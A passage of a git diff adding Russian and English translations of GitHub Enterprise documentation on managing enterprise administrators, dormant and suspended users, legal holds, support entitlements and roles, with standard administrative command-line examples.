записью + +{% data reusables.enterprise-accounts.enterprise-administrators %} Дополнительные сведения см. в разделе [Роли на предприятии](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise). + +{% ifversion ghes %} + +Если вы хотите управлять владельцами и менеджерами по выставлению счетов для корпоративной учетной записи на {% data variables.product.prodname_dotcom_the_website %}, см. раздел [Приглашение пользователей для управления предприятием](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise) в документации {% data variables.product.prodname_ghe_cloud %}. + +{% endif %} + +{% ifversion ghec %} + +Если предприятие использует {% data variables.product.prodname_emus %}, то владельцы предприятия могут добавляться или удаляться только через поставщика удостоверений. Дополнительные сведения см. в разделе [Сведения о {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users). + +{% endif %} + +{% tip %} + +**Совет.** Дополнительные сведения об управлении пользователями в организации, принадлежащей корпоративной учетной записи, см. в разделах [Управление членством в организации](/articles/managing-membership-in-your-organization) и [Управление доступом пользователей к организации с помощью ролей](/articles/managing-peoples-access-to-your-organization-with-roles). + +{% endtip %} + +## {% ifversion ghec %}Приглашение{% elsif ghes %}Добавление{% endif %} администратора предприятия в корпоративную учетную запись + +{% ifversion ghec %}После приглашения пользователя присоединиться к корпоративной учетной записи он должен принять полученное по электронной почте приглашение, прежде чем сможет получить доступ к корпоративной учетной записи. Срок действия ожидающих приглашений истекает через 7 дней.{% endif %} + +{% ifversion enterprise-membership-view-improvements %} Вы сможете увидеть все ожидающие приглашения стать администратором корпоративной учетной записи. Дополнительные сведения см. в разделе [Просмотр пользователей на предприятии](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-pending-invitations). +{% endif %} + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %} {% data reusables.enterprise-accounts.administrators-tab %} +1. Над списком администраторов щелкните {% ifversion ghec %}**Пригласить администратора**{% elsif ghes %}**Добавить владельца**{% endif %}. + {% ifversion ghec %} ![Кнопка "Пригласить администратора" над списком владельцев предприятия](/assets/images/help/business-accounts/invite-admin-button.png) {% elsif ghes %} ![Кнопка "Добавить владельца" над списком владельцев предприятия](/assets/images/help/business-accounts/add-owner-button.png) {% endif %} +1. Введите имя пользователя, полное имя или адрес электронной почты пользователя, которого вы хотите пригласить в качестве администратора предприятия, а затем выберите нужного пользователя из результатов. + ![Модальное поле с полем для ввода имени пользователя, полного имени или адреса электронной почты, а также кнопкой "Пригласить"](/assets/images/help/business-accounts/invite-admins-modal-button.png){% ifversion ghec %} +1. Выберите **владельца** или **менеджера по выставлению счетов**. + ![Модальное поле с выбором ролей](/assets/images/help/business-accounts/invite-admins-roles.png) +1. Щелкните **Send Invitation** (Отправить приглашение). + ![Кнопка "Отправить приглашение"](/assets/images/help/business-accounts/invite-admins-send-invitation.png){% endif %}{% ifversion ghes %} +1. Нажмите кнопку **Добавить**. + ![Кнопка "Добавить"](/assets/images/help/business-accounts/add-administrator-add-button.png){% endif %} + +## Удаление администратора предприятия из корпоративной учетной записи + +Только владельцы предприятия могут удалять других администраторов предприятия из корпоративной учетной записи. + +{% ifversion ghec %} Если администратор, которого вы хотите удалить, является членом любой организации, принадлежащей предприятию, можно выбрать **Преобразовать в члена**, чтобы удалить административную роль, но сохранить членство в организации или **Удалить из предприятия**, что приведет к удалению как его административной роли, так и членства в организации. +{% endif %} + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %} {% data reusables.enterprise-accounts.administrators-tab %} +1. Рядом с именем пользователя, которого вы хотите удалить, щелкните {% octicon "gear" aria-label="The Settings gear" %}, затем {% ifversion ghes %}**Удалить владельца**{% elsif ghec %}**Преобразовать в члена** или **Удалить из предприятия**.{% endif %}. + {% ifversion ghec %} ![Механизм параметров с опцией меню для удаления администратора предприятия](/assets/images/help/business-accounts/remove-admin.png) {% elsif ghes %} ![Механизм параметров с опцией меню для удаления администратора предприятия](/assets/images/help/business-accounts/ghes-remove-owner.png) {% endif %} +1. Прочтите подтверждение, затем щелкните {% ifversion ghes %}**Удалить владельца**{% elsif ghec %}**Да, преобразовать USERNAME в члена**{% endif %}. diff --git a/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md new file mode 100644 index 000000000000..eef5eaf0fe4a --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md @@ -0,0 +1,78 @@ +--- +title: Managing dormant users +redirect_from: + - /enterprise/admin/articles/dormant-users + - /enterprise/admin/articles/viewing-dormant-users + - /enterprise/admin/articles/determining-whether-a-user-account-is-dormant + - /enterprise/admin/user-management/managing-dormant-users + - /admin/user-management/managing-dormant-users +intro: '{% data reusables.enterprise-accounts.dormant-user-activity-threshold %}' +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +topics: + - Accounts + - Enterprise + - Licensing +--- + +{% ifversion ghec %} +{% data reusables.enterprise-accounts.dormant-user-release-phase %} +{% endif %} + +## About dormant users + +{% data reusables.enterprise-accounts.dormant-user-activity %} + +{% ifversion ghes or ghae%} +## Viewing dormant users + +{% data reusables.enterprise-accounts.viewing-dormant-users %} + +{% data reusables.enterprise_site_admin_settings.access-settings %} +3. In the left sidebar, click **Dormant users**. +![Dormant users tab](/assets/images/enterprise/site-admin-settings/dormant-users-tab.png){% ifversion ghes %} +4. To suspend all the dormant users in this list, at the top of the page, click **Suspend all**. +![Suspend all button](/assets/images/enterprise/site-admin-settings/suspend-all.png){% endif %} + +## Determining whether a user account is dormant + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.search-user %} +{% data reusables.enterprise_site_admin_settings.click-user %} +5. In the **User info** section, a red dot with the word "Dormant" indicates the user account is dormant, and a green dot with the word "Active" indicates the user account is active. +![Dormant user account](/assets/images/enterprise/stafftools/dormant-user.png) +![Active user account](/assets/images/enterprise/stafftools/active-user.png) + +## Configuring the dormancy threshold + +{% data reusables.enterprise_site_admin_settings.dormancy-threshold %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.options-tab %} +4. Under "Dormancy threshold", use the drop-down menu, and click the desired dormancy threshold. +![The Dormancy threshold drop-down menu](/assets/images/enterprise/site-admin-settings/dormancy-threshold-menu.png) + +{% endif %} + +{% ifversion ghec %} +## Downloading the dormant users report from your enterprise account + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.enterprise-accounts-compliance-tab %} +1. To download your Dormant Users (beta) report as a CSV file, under "Other", click {% octicon "download" aria-label="The Download icon" %} **Download**. + ![Download button under "Other" on the Compliance page](/assets/images/help/business-accounts/dormant-users-download-button.png) + +{% tip %} + +**Tip:** +For the purposes of assessing user dormancy, user activity is scoped to include only user activity associated with organizations, repositories, or sign-on events that are associated with the enterprise. For example, if a user has recently commented on an issue in a public repository not associated with the enterprise, they may be considered dormant. However, if they have recently commented on an issue in a public repository associated with an organization in your enterprise, they will not be considered dormant and will not appear in the Dormant User report. + +In the case of web sign-on events, only sign-on events through via an SSO domain associated with your enterprise are considered user activity associated with the enterprise. + +{% endtip %} + +{% endif %} diff --git a/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md new file mode 100644 index 000000000000..96bc7206a76f --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md @@ -0,0 +1,53 @@ +--- +title: Управление правами на поддержку предприятия +intro: Вы можете предоставить участникам предприятия возможность управлять запросами в службу поддержки в рамках корпоративной учетной записи. +redirect_from: + - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise +versions: + ghec: '*' +topics: + - Enterprise + - Support +shortTitle: Manage support entitlements +ms.openlocfilehash: 8524a24204d2a476c1cd08a11b80e3675e1fc6f4 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145120115' +--- +## Сведения о правах на поддержку + +Пользователи с правами на поддержку для корпоративной учетной записи могут использовать портал поддержки для открытия, просмотра и комментирования запросов в службу поддержки, связанных с корпоративной учетной записью. + +Владельцы предприятий и менеджеры по выставлению счетов автоматически имеют право на поддержку. Владельцы предприятий могут добавлять права на поддержку для максимально 20 дополнительных членов организаций, принадлежащих их корпоративной учетной записи. + +## Добавление права на поддержку для члена предприятия + +{% note %} + +**Примечание.** После добавления права на поддержку члену предприятия может потребоваться выйти и войти еще раз, чтобы управлять запросами. + +{% endnote %} + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} +3. В разделе "Параметры" щелкните **Поддержка**. +![Пункт меню "Поддержка"](/assets/images/help/enterprises/settings-support.png) +4. В разделе "Добавить члена поддержки" начните вводить имя или имя пользователя, которому требуется предоставить право на поддержку. Щелкните их имя в списке совпадений. +![Поиск добавления права на поддержку](/assets/images/help/enterprises/settings-support-entitlement-search.png) +5. Щелкните **Добавить право на поддержку**. +![Кнопка "Добавить право на поддержку"](/assets/images/help/enterprises/settings-support-add-entitlement.png) + +## Удаление права на поддержку члена предприятия + +Право на поддержку члена предприятия можно удалить. Нельзя удалить право на поддержку владельцев предприятия или менеджеров по выставлению счетов. + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} +3. На боковой панели в разделе "Параметры" щелкните **Поддержка**. +![Пункт меню "Поддержка"](/assets/images/help/enterprises/settings-support.png) +4. В разделе "Участники поддержки" справа от человека, у которого требуется удалить право на поддержку, щелкните {% octicon "trash" aria-label="The trash icon" %}. +![Удаление права на поддержку](/assets/images/help/enterprises/settings-support-remove-entitlement.png) + +## Дополнительные материалы + +- [Работа со службой поддержки GitHub](/github/working-with-github-support) diff --git a/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/placing-a-legal-hold-on-a-user-or-organization.md b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/placing-a-legal-hold-on-a-user-or-organization.md new file mode 100644 index 000000000000..f7b0b62ebc6e --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/placing-a-legal-hold-on-a-user-or-organization.md @@ -0,0 +1,29 @@ +--- +title: Применение юридического удержания к пользователю или организации +intro: 'Вы можете применить юридическое удержание к пользователю или организации, чтобы убедиться, что репозитории, которыми они владеют, не могут быть окончательно удалены из вашего предприятия.' +redirect_from: + - /enterprise/admin/user-management/placing-a-legal-hold-on-a-user-or-organization + - /admin/user-management/placing-a-legal-hold-on-a-user-or-organization +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Accounts + - Auditing + - Enterprise + - Organizations + - User account +shortTitle: Place a legal hold +ms.openlocfilehash: 5837bfcd05867ed5be7e298996bb0de2680b4921 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146199948' +--- +Как правило, если репозиторий удаляется, он будет доступен на диске в течение 90 дней и может быть восстановлен с помощью панели мониторинга администратора сайта. Через 90 дней репозиторий очищается и удаляется навсегда. Если применить юридическое удержание к пользователю или организации, репозитории, которыми они владеют, доступны для восстановления на неопределенный срок. + +{% data reusables.enterprise_site_admin_settings.sign-in %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.search-user-or-org %} {% data reusables.enterprise_site_admin_settings.click-user-or-org %} {% data reusables.enterprise_site_admin_settings.admin-top-tab %} {% data reusables.enterprise_site_admin_settings.admin-tab %} +5. Нажмите кнопку **Применить юридическое удержание**. +![Кнопка "Применить юридическое удержание"](/assets/images/enterprise/site-admin-settings/place-legal-hold-button.png) diff --git a/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md new file mode 100644 index 000000000000..6f24ce669f53 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md @@ -0,0 +1,64 @@ +--- +title: Повышение или понижение уровня для администратора сайта +redirect_from: + - /enterprise/admin/articles/promoting-a-site-administrator + - /enterprise/admin/articles/demoting-a-site-administrator + - /enterprise/admin/user-management/promoting-or-demoting-a-site-administrator + - /admin/user-management/promoting-or-demoting-a-site-administrator +intro: 'Администраторы сайта могут повысить уровень любой обычной учетной записи пользователя до администратора сайта, а также понизить роль других администраторов сайта до обычных пользователей.' +versions: + ghes: '*' +type: how_to +topics: + - Access management + - Accounts + - User account + - Enterprise +shortTitle: Manage administrators +ms.openlocfilehash: 8a96b85a2d9d097a7aae46414246ef19287cfc27 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148008799' +--- +{% tip %} + +**Примечание.** Если [синхронизация LDAP включена](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync) и атрибут `Administrators group` задается при [настройке доступа LDAP для пользователей](/enterprise/admin/authentication/using-ldap#configuring-ldap-with-your-github-enterprise-server-instance), эти пользователи автоматически получат доступ администратора сайта к экземпляру. В этом случае вы не можете вручную повысить уровень пользователей, выполнив указанные ниже действия. Их необходимо добавить в группу администраторов LDAP. + +{% endtip %} + +Сведения о повышении уровня пользователя до владельца организации см. в разделе `ghe-org-admin-promote` в [Служебные программы командной строки](/enterprise/admin/guides/installation/command-line-utilities#ghe-org-admin-promote). + +## Повышение уровня пользователя из параметров предприятия + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %} {% data reusables.enterprise-accounts.administrators-tab %} +5. В правом верхнем углу страницы щелкните **Добавить владельца**. + ![Кнопка для добавления администратора](/assets/images/help/business-accounts/business-account-add-admin-button.png) +6. В поле поиска введите имя пользователя и щелкните **Добавить**. + ![Поле поиска для добавления администратора](/assets/images/help/business-accounts/business-account-search-to-add-admin.png) + +## Понижение уровня администратора сайта из параметров предприятия + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %} {% data reusables.enterprise-accounts.administrators-tab %} +1. В левом верхнем углу страницы в поле поиска "Найти администратора" введите имя пользователя, которому вы хотите понизить уровень. + ![Поле поиска для поиска администратора](/assets/images/help/business-accounts/business-account-search-for-admin.png) + +1. В результатах поиска найдите имя пользователя, которому вы хотите понизить уровень, а затем примените раскрывающееся меню {% octicon "gear" %} и выберите **Удалить владельца**. + ![Параметр "Удаление из предприятия"](/assets/images/help/business-accounts/demote-admin-button.png) + +## Повышение уровня пользователя из командной строки + +1. [SSH-подключение](/enterprise/admin/guides/installation/accessing-the-administrative-shell-ssh/) к устройству. +2. Запустите [ghe-user-promote](/enterprise/admin/guides/installation/command-line-utilities#ghe-user-promote) с именем пользователя, чтобы повысить уровень. + ```shell + $ ghe-user-promote USERNAME + ``` + +## Понижение уровня администратора сайта из командной строки + +1. [SSH-подключение](/enterprise/admin/guides/installation/accessing-the-administrative-shell-ssh/) к устройству. +2. Запустите [ghe-user-demote](/enterprise/admin/guides/installation/command-line-utilities#ghe-user-demote) с именем пользователя, чтобы понизить уровень. + ```shell + $ ghe-user-demote USERNAME + ``` diff --git a/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md new file mode 100644 index 000000000000..7c3db4a7a3b0 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md @@ -0,0 +1,32 @@ +--- +title: Перестроение данных вкладов +intro: 'Возможно, потребуется выполнить повторную сборку данных вкладов, чтобы связать существующие фиксации с учетной записью пользователя.' +redirect_from: + - /enterprise/admin/articles/rebuilding-contributions-data + - /enterprise/admin/user-management/rebuilding-contributions-data + - /admin/user-management/rebuilding-contributions-data +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Repositories + - User account +shortTitle: Rebuild contributions +ms.openlocfilehash: 66a4aff597be725eb06dd4c8743ee2ad8691c7e4 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145116219' +--- +При передаче фиксации в {% data variables.product.prodname_enterprise %} она связывается с учетной записью пользователя, если они оба связаны с одним и тем же адресом электронной почты. Однако существующие фиксации *не* связываются задним числом, когда пользователь регистрирует новый адрес электронной почты или создает новую учетную запись. + +1. Посетите страницу профиля пользователя. +{% data reusables.enterprise_site_admin_settings.access-settings %} +3. В левой части страницы щелкните **Администратор**. ![Вкладка "Администратор"](/assets/images/enterprise/site-admin-settings/admin-tab.png) +4. В разделе **Данные о вкладе** нажмите кнопку **Перестроить**. +![Кнопка "Перестроить"](/assets/images/enterprise/site-admin-settings/rebuild-button.png) + +{% data variables.product.prodname_enterprise %} теперь запустит задания в фоновом режиме для повторного связывания фиксаций с этой учетной записью пользователя. + ![Задания перестроения в очереди](/assets/images/enterprise/site-admin-settings/rebuild-jobs.png) diff --git a/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/removing-a-member-from-your-enterprise.md b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/removing-a-member-from-your-enterprise.md new file mode 100644 index 000000000000..d68959bf2099 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/removing-a-member-from-your-enterprise.md @@ -0,0 +1,37 @@ +--- +title: Удаление участника из предприятия +intro: 'Участника можно удалить из всех организаций, входящих в состав предприятия.' +permissions: Enterprise owners can remove an enterprise member from the enterprise. +versions: + feature: remove-enterprise-members +type: how_to +topics: + - Enterprise +shortTitle: Remove member +ms.openlocfilehash: c3090cd49c2c2e8089093dc01ddeb7b69ae39416 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147717992' +--- +## Сведения об удалении участников предприятия + +При удалении участника из предприятия он удаляется из всех организаций, принадлежащих вашей организации. + +Если удаляемый вами участник предприятия является последним владельцем организации, принадлежащей вашей организации, вы станете владельцем этой организации. + +Если ваше предприятие или любая из организаций, принадлежащих вашему предприятию, использует поставщик удостоверений (IdP) для управления членством в организации, участник может быть снова добавлен в организацию поставщиком удостоверений. Обязательно внесите необходимые изменения в поставщик удостоверений. + +## Удаление участника из предприятия + +{% note %} + +**Примечание.** Если участник предприятия использует только {% data variables.product.prodname_ghe_server %}, а не {% data variables.product.prodname_ghe_cloud %}, вы не сможете удалить участника предприятия таким способом. + +{% endnote %} + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %} +1. Справа от пользователя, которого требуется удалить, выберите раскрывающееся меню {% octicon "gear" aria-label="The gear icon" %} и нажмите **Удалить из предприятия**. + + ![Снимок экрана: параметр "Удалить из предприятия" для участника предприятия](/assets/images/help/business-accounts/remove-member.png) diff --git a/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md new file mode 100644 index 000000000000..b23b329fcc14 --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md @@ -0,0 +1,82 @@ +--- +title: Роли на предприятии +intro: Каждый сотрудник предприятия является членом предприятия. Для управления доступом к настройкам и данным предприятия можно назначить различные роли членам предприятия. +redirect_from: + - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise + - /github/setting-up-and-managing-your-enterprise-account/roles-for-an-enterprise-account + - /articles/permission-levels-for-a-business-account + - /articles/roles-for-an-enterprise-account + - /github/setting-up-and-managing-your-enterprise/roles-in-an-enterprise +versions: + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Enterprise +ms.openlocfilehash: 10787e2326f2bb3c4768c5e499d445f65cf9e57d +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: '146178458' +--- +## Сведения о ролях на предприятии + +Каждый сотрудник предприятия является членом предприятия. Вы также можете назначать административные роли участникам предприятия. Каждая роль администратора сопоставляется с бизнес-функциями и предоставляет разрешения на выполнение определенных задач в пределах предприятия. + +{% data reusables.enterprise-accounts.enterprise-administrators %} + +{% ifversion ghec %} Если ваша организация не использует {% data variables.product.prodname_emus %}, вы можете пригласить пользователя на административную роль с помощью учетной записи пользователя на {% data variables.product.product_name %}, которой они управляют. Дополнительные сведения см. в разделе [Приглашение людей для управления предприятием](/github/setting-up-and-managing-your-enterprise/inviting-people-to-manage-your-enterprise). + +В организации, использующей {% data variables.product.prodname_emus %}, новые владельцы и участники должны подготавливаться через поставщика удостоверений. Владельцы предприятия и владельцы организации не могут добавлять новых участников или владельцев в предприятие с помощью {% data variables.product.prodname_dotcom %}. Вы можете выбрать корпоративную роль участника с помощью поставщика удостоверений и изменить ее на {% data variables.product.prodname_dotcom %}. Вы можете выбрать роль участника в организации на {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделе [Сведения о {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users). +{% else %} Дополнительные сведения о добавлении пользователей в ваше предприятие см. в разделе [Проверка подлинности](/admin/authentication). + +{% endif %} + +## Владельцы предприятия + +Владельцы предприятия имеют полный контроль над предприятием и могут выполнять все действия, в том числе: +- Управление администраторами +- {% ifversion ghec %}Добавление {% elsif ghae or ghes %}Управление{% endif %} организаций {% ifversion ghec %}в предприятие и{% elsif ghae or ghes %} в{% endif %} их удаление из предприятия{% ifversion remove-enterprise-members %} +- Удаление участников предприятия из всех организаций, принадлежащих компании{% endif %} +- Управление параметрами предприятия +- Применение политики в организациях {% ifversion ghec %}- Управление параметрами выставления счетов{% endif %} + +{% ifversion enterprise-owner-join-org %} По умолчанию у владельцев предприятия нет доступа к параметрам организации или содержанию. Чтобы получить доступ, владельцы предприятия могут присоединиться к любой организации, принадлежащей их предприятию. Дополнительные сведения см. в статье [Управление ролью в организации, принадлежащей предприятию](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise). + +Владельцы организаций в вашем предприятии не имеют доступа к самому предприятию, если только вы не сделаете их владельцами предприятия. +{% else %} Владельцы предприятия не могут получить доступ к параметрам организации или содержимому, если они не являются владельцами организации или не имеют прямого доступа к репозиторию, принадлежащему организации. Аналогичным образом владельцы организаций в вашем предприятии не имеют доступа к самому предприятию, если только вы не сделаете их владельцами предприятия. +{% endif %} + +Владелец предприятия будет использовать лицензию только в том случае, если он является владельцем или участником по крайней мере одной организации в пределах предприятия. Даже если владелец предприятия имеет роль в нескольких организациях, он будет использовать одну лицензию. {% ifversion ghec %} У владельцев предприятия должна быть личная учетная запись на {% data variables.product.prodname_dotcom %}. {% endif %} Чтобы снизить риск для бизнеса, рекомендуется назначить всего несколько владельцев предприятия. + +## Участники предприятия + +Участники организаций, принадлежащих предприятию, также автоматически становятся участниками предприятия. Участники могут совместно работать в организациях и могут быть владельцами организации, но участники не могут получить доступ к параметрам предприятия {% ifversion ghec %}, включая параметры выставления счетов{% endif %}. + +Пользователи вашей организации могут иметь разные уровни доступа к различным организациям, принадлежащим вашему предприятию, и к репозиториям в этих организациях. Вы можете просмотреть ресурсы, к которым у каждого пользователя есть доступ. Дополнительные сведения см. в разделе [Просмотр пользователей на предприятии](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise). + +Дополнительные сведения о разрешениях уровня организации см. в статье [Роли в организации](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization). + +Сторонние участники совместной работы с доступом к репозиториям, принадлежащим вашей организации, также перечислены на вкладке "Пользователи" вашего предприятия, но не являются участниками предприятия и не имеют доступа к предприятию. Дополнительные сведения о внешних участниках совместной работы см. в разделе [Роли в организации](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators). + +{% ifversion ghec %} + +## Менеджеры по выставлению счетов + +Менеджеры по выставлению счетов имеют доступ только к параметрам выставления счетов вашей организации. Менеджеры по выставлению счетов на вашем предприятии могут: +- Просматривать и администрировать пользовательские лицензии, пакеты {% data variables.large_files.product_name_short %} и другие параметры выставления счетов. +- Просматривать список менеджеров по выставлению счетов. +- Добавлять или удалять менеджеров по выставлению счетов. + +Менеджер по выставлению счетов будет использовать лицензию только в том случае, если он является владельцем или участником по крайней мере одной организации в пределах предприятия. Менеджеры по выставлению счетов не имеют доступа к организациям или репозиториям на предприятии и не могут добавлять или удалять владельцев предприятия. Менеджеры по выставлению счетов должны иметь личную учетную запись на {% data variables.product.prodname_dotcom %}. + +## Сведения о правах на поддержку + +{% data reusables.enterprise-accounts.support-entitlements %} + +## Дополнительные материалы + +- [Сведения об учетных записях предприятия](/admin/overview/about-enterprise-accounts) + +{% endif %} diff --git a/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md new file mode 100644 index 000000000000..46f9801fb1ae --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md @@ -0,0 +1,103 @@ +--- +title: Suspending and unsuspending users +redirect_from: + - /enterprise/admin/articles/suspending-a-user + - /enterprise/admin/articles/unsuspending-a-user + - /enterprise/admin/articles/viewing-suspended-users + - /enterprise/admin/articles/suspended-users + - /enterprise/admin/articles/suspending-and-unsuspending-users + - /enterprise/admin/user-management/suspending-and-unsuspending-users + - /admin/user-management/suspending-and-unsuspending-users +intro: 'If a user leaves or moves to a different part of the company, you should remove or modify their ability to access {% data variables.location.product_location %}.' +versions: + ghes: '*' +type: how_to +topics: + - Access management + - Enterprise + - Security + - User account +shortTitle: Manage user suspension +--- +If employees leave the company, you can suspend their {% data variables.product.prodname_ghe_server %} accounts to open up user licenses in your {% data variables.product.prodname_enterprise %} license while preserving the issues, comments, repositories, gists, and other data they created. Suspended users cannot sign into your instance, nor can they push or pull code. + +When you suspend a user, the change takes effect immediately with no notification to the user. If the user attempts to pull or push to a repository, they'll receive this error: + +```shell +$ git clone git@[hostname]:john-doe/test-repo.git +Cloning into 'test-repo'... +ERROR: Your account is suspended. Please check with your installation administrator. +fatal: The remote end hung up unexpectedly +``` + +Before suspending site administrators, you must demote them to regular users. For more information, see "[Promoting or demoting a site administrator](/enterprise/admin/user-management/promoting-or-demoting-a-site-administrator)." + +{% tip %} + +**Note:** If [LDAP Sync is enabled](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync) for {% data variables.location.product_location %}, users are automatically suspended when they're removed from the LDAP directory server. When LDAP Sync is enabled for your instance, normal user suspension methods are disabled. + +{% endtip %} + +## Suspending a user from the user admin dashboard + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.search-user %} +{% data reusables.enterprise_site_admin_settings.click-user %} +{% data reusables.enterprise_site_admin_settings.admin-top-tab %} +{% data reusables.enterprise_site_admin_settings.admin-tab %} +5. Under "Account suspension," in the red Danger Zone box, click **Suspend**. +![Suspend button](/assets/images/enterprise/site-admin-settings/suspend.png) +6. Provide a reason to suspend the user. +![Suspend reason](/assets/images/enterprise/site-admin-settings/suspend-reason.png) + +## Unsuspending a user from the user admin dashboard + +As when suspending a user, unsuspending a user takes effect immediately. The user will not be notified. + +{% data reusables.enterprise_site_admin_settings.access-settings %} +3. In the left sidebar, click **Suspended users**. +![Suspended users tab](/assets/images/enterprise/site-admin-settings/user/suspended-users-tab.png) +2. Click the name of the user account that you would like to unsuspend. +![Suspended user](/assets/images/enterprise/site-admin-settings/user/suspended-user.png) +{% data reusables.enterprise_site_admin_settings.admin-top-tab %} +{% data reusables.enterprise_site_admin_settings.admin-tab %} +4. Under "Account suspension," in the red Danger Zone box, click **Unsuspend**. +![Unsuspend button](/assets/images/enterprise/site-admin-settings/unsuspend.png) +5. Provide a reason to unsuspend the user. +![Unsuspend reason](/assets/images/enterprise/site-admin-settings/unsuspend-reason.png) + +## Suspending a user from the command line + +{% data reusables.enterprise_installation.ssh-into-instance %} +2. Run [ghe-user-suspend](/enterprise/admin/guides/installation/command-line-utilities#ghe-user-suspend) with the username to suspend. + ```shell + $ ghe-user-suspend USERNAME + ``` + +## Creating a custom message for suspended users + +You can create a custom message that suspended users will see when attempting to sign in. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.messages-tab %} +5. Click **Add message**. +![Add message](/assets/images/enterprise/site-admin-settings/add-message.png) +6. Type your message into the **Suspended user message** box. You can type Markdown, or use the Markdown toolbar to style your message. +![Suspended user message](/assets/images/enterprise/site-admin-settings/suspended-user-message.png) +7. Click the **Preview** button under the **Suspended 